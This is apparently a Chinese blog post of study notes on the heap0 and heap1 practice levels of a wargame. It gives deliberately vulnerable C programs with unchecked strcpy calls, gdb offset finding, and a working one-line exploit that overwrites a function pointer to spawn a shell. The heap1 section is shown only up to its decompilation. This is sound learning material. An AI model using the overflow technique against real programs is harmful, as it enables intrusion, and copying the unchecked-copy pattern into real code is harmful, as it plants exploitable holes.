heap-学习

Author Avatar
iosmosis 7月 18, 2018
  • 在其它设备中阅读本文章

heap0

源代码

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>
struct data {
  char name[128];
};

struct fp {
  int (*fp)();
};

void winner()
{
  system("/bin/sh");
}

void nowinner()
{
  printf("level has not been passed\n");
}

int main(int argc, char **argv)
{
  struct data *d;
  struct fp *f;
  d = malloc(sizeof(struct data));
  f = malloc(sizeof(struct fp));
  f->fp = nowinner;
  printf("data is at %p, fp is at %p\n", d, f);
  strcpy(d->name, argv[1]);
  f->fp();
}

编译命令

gcc -m32 -fno-stack-protector -o heap0 heap0.c

可以检查下生成后的保护

ubuntu@ubuntu:~/heap$ checksec heap0
[*] '/home/ubuntu/heap/heap0'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

我们通过ida进行分析

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char *dest; // ST1C_4
  void (**v4)(void); // eax
  void (**v5)(void); // ST18_4

  dest = (char *)malloc(0x80u);
  v4 = (void (**)(void))malloc(4u);
  v5 = v4;
  *v4 = (void (*)(void))nowinner;
  printf("data is at %p, fp is at %p\n", dest, v4);
  strcpy(dest, argv[1]);
  (*v5)();
  return 0;
}

漏洞存在于strcpy函数

利用思路

因为该程序堆是连续分配的所以在内存结构上也是连续的

1

所以我们需要溢出dest覆盖到v4接着修改nowinner为winner函数地址

填充量= malloc(0x80u) +第二个chunk头0x8=136

或者gdb调试

gef➤  file heap0
Reading symbols from heap0...(no debugging symbols found)...done.
gef➤  pattern create 150
[+] Generating a pattern of 150 bytes
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabma
[+] Saved as '$_gef0'
gef➤  r aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabma
Starting program: /home/ubuntu/heap/heap0 aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabma
data is at 0x804b008, fp is at 0x804b090

Program received signal SIGSEGV, Segmentation fault.
0x6261616a in ?? ()
gef➤  pattern offset 0x6261616a
[+] Searching '0x6261616a'
[+] Found at offset 136 (little-endian search) likely
gef➤

同样可以得到填充量

找到winner函数地址 0x80484CB

所以可以构造exp

./heap0 `python -c "print 'a'*136+'\xCB\x84\x04\x08'"`

这里有个小问题 用pwntools写的exp却无法利用 如果有大佬看到这篇文章 还求解答(已解决 如果你还没反应过来可以学习下argv[1]含义…感谢-SK-师傅指点 果然还是自己太差了 这里记录并且会继续努力下去)

from pwn import *

p = process('./heap0')

payload = 'A'*136+"\xCB\x84\x04\x08"
p.sendline(payload)
p.interactive()
// 错误展示...

heap1

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>

struct internet {
  int priority;
  char *name;
};

void winner()
{
  system("/bin/sh");
}

int main(int argc, char **argv)
{
  struct internet *i1, *i2, *i3;

  i1 = malloc(sizeof(struct internet));
  i1->priority = 1;
  i1->name = malloc(8);

  i2 = malloc(sizeof(struct internet));
  i2->priority = 2;
  i2->name = malloc(8);

  strcpy(i1->name, argv[1]);
  strcpy(i2->name, argv[2]);

  printf("and that's a wrap folks!\n");
}

编译命令

gcc -m32 -fno-stack-protector -o heap1 heap1.c

从源代码中可以看到,internet已经分配了两个结构,每个结构包含一个name单独分配的指针。这意味着 internet 在堆分配的struct将包含志强

检查保护

ubuntu@ubuntu:~/heap$ checksec heap1
[*] '/home/ubuntu/heap/heap1'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

只开启nx

我们通过ida来分析

int __cdecl main(int argc, const char **argv, const char **envp)
{
  _DWORD *v3; // eax
  _DWORD *v4; // ST1C_4
  _DWORD *v5; // eax
  _DWORD *v6; // ST18_4

  v3 = malloc(8u);
  v4 = v3;
  *v3 = 1;
  v3[1] = malloc(8u);
  v5 = malloc(8u);
  v6 = v5;
  *v5 = 2;
  v5[1] = malloc(8u);
  strcpy((char *)v4[1], argv[1]);
  strcpy((char *)v6[1], argv[2]);
  puts("and that's a wrap folks!");
  return 0;
}